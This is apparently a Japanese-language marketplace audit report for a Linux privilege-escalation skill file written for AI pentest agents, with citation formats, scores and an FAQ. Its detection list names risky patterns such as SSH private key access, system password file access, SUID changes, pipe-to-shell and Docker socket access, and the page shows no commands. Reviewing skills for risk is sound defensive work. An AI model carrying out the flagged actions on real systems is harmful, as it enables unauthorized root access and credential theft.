SKILL.md:151 SKILL.md:181 SKILL.md:203 SKILL.md:184 SKILL.md:151 SKILL.md:17-35 SKILL.md:35-50 SKILL.md:50 SKILL.md:55-56 SKILL.md:56-57 SKILL.md:57-60 SKILL.md:60-61 SKILL.md:61-62 SKILL.md:62-63 SKILL.md:63-64 SKILL.md:64-76 SKILL.md:76-106 SKILL.md:106-112 SKILL.md:112-127 SKILL.md:127-131 SKILL.md:131-133 SKILL.md:133-139 SKILL.md:139-158 SKILL.md:158-162 SKILL.md:162-190 SKILL.md:190-194 SKILL.md:194-207 SKILL.md:207-211 SKILL.md:211-223 SKILL.md:223-227 SKILL.md:227-242 SKILL.md:242-246 SKILL.md:246-259 SKILL.md:259-263 SKILL.md:263-281 SKILL.md:281-285 SKILL.md:285-299 SKILL.md:299-303 SKILL.md:303-320 SKILL.md:320-324 SKILL.md:324-337 SKILL.md:337-352 SKILL.md:352-369 SKILL.md:369-375 SKILL.md:375-383 SKILL.md:383-389 SKILL.md:389-397 SKILL.md:397-401 SKILL.md:401-405 SKILL.md:405-409
🌐 ネットワークアクセス (5)
📁 ファイルシステムへのアクセス (33)
SKILL.md:310 SKILL.md:287 SKILL.md:310 SKILL.md:311 SKILL.md:380 SKILL.md:381 SKILL.md:382 SKILL.md:288 SKILL.md:61 SKILL.md:62 SKILL.md:85 SKILL.md:88 SKILL.md:105 SKILL.md:164 SKILL.md:196 SKILL.md:248 SKILL.md:291 SKILL.md:305 SKILL.md:306 SKILL.md:307 SKILL.md:311 SKILL.md:314 SKILL.md:315 SKILL.md:395 SKILL.md:396 SKILL.md:462 SKILL.md:468 SKILL.md:441 SKILL.md:442 SKILL.md:330 SKILL.md:331 SKILL.md:333 SKILL.md:334
検出されたパターン
SSH directory access×2SSH private key fileMalware type keywordsSystem password file access×6SUID bit modification×4UID/GID manipulation×8Pipe to shell patternDocker socket accessSystem reconnaissance×8
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/charleskozel-privilege-escalation-knowledge/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/charleskozel-privilege-escalation-knowledge.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
CharlesKozel. (2026). privilege-escalation-knowledge security audit report (audit version 10) [Author version unspecified]. Skillstore. https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10BibTeX形式の引用
@techreport{charleskozel-charleskozel-privilege-escalation-knowledge-2026,
author = {CharlesKozel},
title = {privilege-escalation-knowledge security audit report (audit version 10)},
institution = {Skillstore},
year = {2026},
number = {10},
url = {https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "privilege-escalation-knowledge security audit report (audit version 10)"
version: "unspecified"
type: report
authors:
- name: "CharlesKozel"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10"
identifiers:
- type: other
value: "skillstore:charleskozel-privilege-escalation-knowledge:audit:10"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
85
保守性
87
コンテンツ
70
コミュニティ
78
仕様準拠
作成できるもの
ラボチェックリストを準備する
セキュリティ研修生は、承認済みの CTF またはラボでの権限昇格作業を体系化できます。
ハードニングのギャップを確認する
システム所有者は、調査結果を一般的な設定ミスと比較し、修正の優先順位を付けることができます。
Marketplace リスクを評価する
レビュアーは、このスキルに厳格な公開およびインストール制御が必要な理由を特定できます。
これらのプロンプトを試す
レビュースコープを要約する
承認済みの Linux ラボにおいて、このスキルが対象とする権限昇格レビューの段階を要約してください。エクスプロイトコマンドは含めないでください。
防御的チェックリストを作成する
このスキルのガイダンスを、sudo、SUID、capabilities、cron、services、containers、および機密ファイルに関する防御的チェックリストに変換してください。
監査証拠に優先順位を付ける
次の承認済み監査メモを前提として: [paste notes]、各項目を想定されるリスク領域と安全な修復優先度に対応付けてください。
ラボ報告を作成する
完了済みの承認済みラボについて、運用可能なエクスプロイト詳細を含めずに、権限昇格経路、失敗した制御、修復手順を要約してください。
ベストプラクティス
- 承認とスコープが文書化されているシステムでのみ使用してください。
- 実行可能な手順よりも、防御的な要約と修復計画を優先してください。
- フラグ、認証情報、キー、ログは機密データとして扱ってください。
回避
- スコープ外のシステムで権限昇格コマンドを実行しないでください。
- 書面による承認なしにアクセスを維持したり、キーを追加したり、アカウントを変更したりしないでください。
- 一般ユーザー向けドキュメントに生のエクスプロイト手順を公開しないでください。
よくある質問
このスキルは本番システムに対して安全ですか?
いいえ。Linux システムを変更または侵害する可能性のあるコマンドとワークフローが含まれています。
このスキルは誰が使用すべきですか?
使用は、承認済みのセキュリティラボ、管理された評価、防御的レビュー チームに限定する必要があります。
それ自体でコマンドを実行しますか?
いいえ。これは知識ファイルですが、エージェントがその運用手順に従う可能性はあります。
防御担当者はこの資料を安全に使用できますか?
はい。ハードニングチェックに変換し、エクスプロイト手順の実行を避ければ、安全に使用できます。
公開リスクが高いのはなぜですか?
このファイルには、root 権限昇格、機密ファイルアクセス、永続化、フラグ取得のワークフローが含まれています。
広範な配布の前に何を削除すべきですか?
広範な配布の前に、実行可能なエクスプロイト手順、永続化手順、シークレット検出コマンド、pipe-to-shell の例を削除してください。
開発者情報
作成者
CharlesKozelライセンス
MIT
Skillstore リビジョン
r1
バージョンに関する注意
作者はバージョンを宣言していません。
リポジトリ
https://github.com/CharlesKozel/Pentest-Agent-Evalulator/tree/main/agents/claude-tbug/skills/privesc参照
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
メンテナンスの新しさ
2026/7/26
利用状況
6 ダウンロード · 167 閲覧
ファイル構成
📄 SKILL.md